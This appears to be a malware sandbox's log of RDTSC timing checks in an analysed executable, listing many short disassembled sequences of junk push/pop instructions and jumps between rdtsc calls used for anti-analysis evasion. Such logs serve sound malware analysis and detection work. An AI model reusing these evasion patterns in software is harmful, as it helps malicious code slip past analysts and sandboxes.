Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D603E2 second address: D603F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FB698BF2C4Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D603F0 second address: D603F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D603F4 second address: D60400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnc 00007FB698BF2C46h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D606FA second address: D60712 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB698CE01EDh 0x00000008 jc 00007FB698CE01E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6123E second address: D6124A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D63BBE second address: D63C01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F1h 0x00000007 jo 00007FB698CE01E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push edi 0x00000011 pop edi 0x00000012 jmp 00007FB698CE01EEh 0x00000017 pop edi 0x00000018 pop ecx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FB698CE01F2h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC3119 second address: CC311D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC311D second address: CC3139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB698CE01E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 jno 00007FB698CE01E6h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC3139 second address: CC313D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D67914 second address: D6791A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6791A second address: D6791E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6791E second address: D67927 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D67927 second address: D6794A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB698BF2C4Ch 0x00000009 jno 00007FB698BF2C46h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007FB698BF2C4Ah 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6794A second address: D67961 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01EDh 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FB698CE01E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D67C24 second address: D67C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D67C2A second address: D67C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jp 00007FB698CE01ECh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D67C37 second address: D67C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D67C41 second address: D67C63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB698CE01F7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D67C63 second address: D67C8A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007FB698BF2C5Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D67DB2 second address: D67DDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FB698CE01EAh 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 pushad 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D707E2 second address: D707E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D707E6 second address: D707EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D707EA second address: D707F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D707F0 second address: D70800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FB698CE01E6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6E888 second address: D6E895 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB698BF2C46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CCED7D second address: CCED8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6E9D4 second address: D6E9E5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB698BF2C46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6EC69 second address: D6EC7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FB698CE01ECh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6EC7B second address: D6EC83 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6F265 second address: D6F283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB698CE01EBh 0x0000000a pushad 0x0000000b push edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e jl 00007FB698CE01E6h 0x00000014 pop edi 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6F283 second address: D6F28B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6F51C second address: D6F520 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6F520 second address: D6F55B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB698BF2C46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FB698BF2C58h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FB698BF2C53h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6F55B second address: D6F56E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01EFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0E614 second address: D0E61F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6F869 second address: D6F878 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB698CE01E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6FE7B second address: D6FE80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6FE80 second address: D6FE94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01EFh 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6FE94 second address: D6FEB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB698BF2C46h 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jns 00007FB698BF2C46h 0x00000019 jo 00007FB698BF2C46h 0x0000001f popad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6FEB7 second address: D6FEC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D70166 second address: D7017F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C53h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D704C6 second address: D704CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D704CB second address: D704DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB698BF2C4Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D704DF second address: D704E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB698CE01E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D704E9 second address: D70535 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C56h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007FB698BF2C51h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FB698BF2C58h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D73D1C second address: D73D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D73E99 second address: D73E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D78C66 second address: D78C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D78C6E second address: D78C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D80703 second address: D8071C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D8071C second address: D80728 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007FB698BF2C46h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D7E9E8 second address: D7E9F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D7E9F0 second address: D7E9F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D7E9F4 second address: D7E9F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D7EB67 second address: D7EB83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB698BF2C55h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D7EB83 second address: D7EB90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D7EB90 second address: D7EB96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D7F454 second address: D7F45A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D7F81B second address: D7F84E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push ecx 0x00000008 jno 00007FB698BF2C46h 0x0000000e pop ecx 0x0000000f push edi 0x00000010 jns 00007FB698BF2C46h 0x00000016 pop edi 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jnc 00007FB698BF2C48h 0x00000020 push ecx 0x00000021 jmp 00007FB698BF2C4Eh 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D7F84E second address: D7F853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D7FF10 second address: D7FF14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D805A0 second address: D805C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007FB698CE01EDh 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D7E52B second address: D7E53B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jbe 00007FB698BF2C46h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D7E53B second address: D7E542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D7E542 second address: D7E557 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FB698BF2C4Bh 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D89608 second address: D8960E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D8960E second address: D89614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D89614 second address: D89629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FB698CE01E6h 0x0000000f jne 00007FB698CE01E6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D8913E second address: D89149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D89149 second address: D8914D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D8914D second address: D89151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D89151 second address: D89157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D8AC82 second address: D8ACAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 jc 00007FB698BF2C61h 0x0000000d jmp 00007FB698BF2C59h 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D978CC second address: D978D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D978D0 second address: D978D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D978D4 second address: D978DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D978DA second address: D978E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D978E0 second address: D978E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D974A8 second address: D974AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D9BA88 second address: D9BAB5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FB698CE01F9h 0x0000000d jng 00007FB698CE01E8h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D9BAB5 second address: D9BABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D9BABB second address: D9BABF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D9BC2D second address: D9BC31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D9BC31 second address: D9BC40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D9BC40 second address: D9BC4A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB698BF2C46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D9BC4A second address: D9BC51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D9BC51 second address: D9BC64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB698BF2C4Ah 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DA152A second address: DA153B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DA153B second address: DA1557 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB698BF2C50h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DA1557 second address: DA1561 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB698CE01E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DA9B2C second address: DA9B35 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAB2F8 second address: DAB2FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAE2C3 second address: DAE2C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAE2C8 second address: DAE2F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jns 00007FB698CE01E6h 0x0000000b jnp 00007FB698CE01E6h 0x00000011 jl 00007FB698CE01E6h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FB698CE01F2h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB4B7D second address: DB4B98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB698BF2C55h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB4B98 second address: DB4BA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FB698CE01E6h 0x0000000a jnp 00007FB698CE01E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB4BA8 second address: DB4BBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB698BF2C4Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DB4BBC second address: DB4BE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FB698CE01E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 jmp 00007FB698CE01F4h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
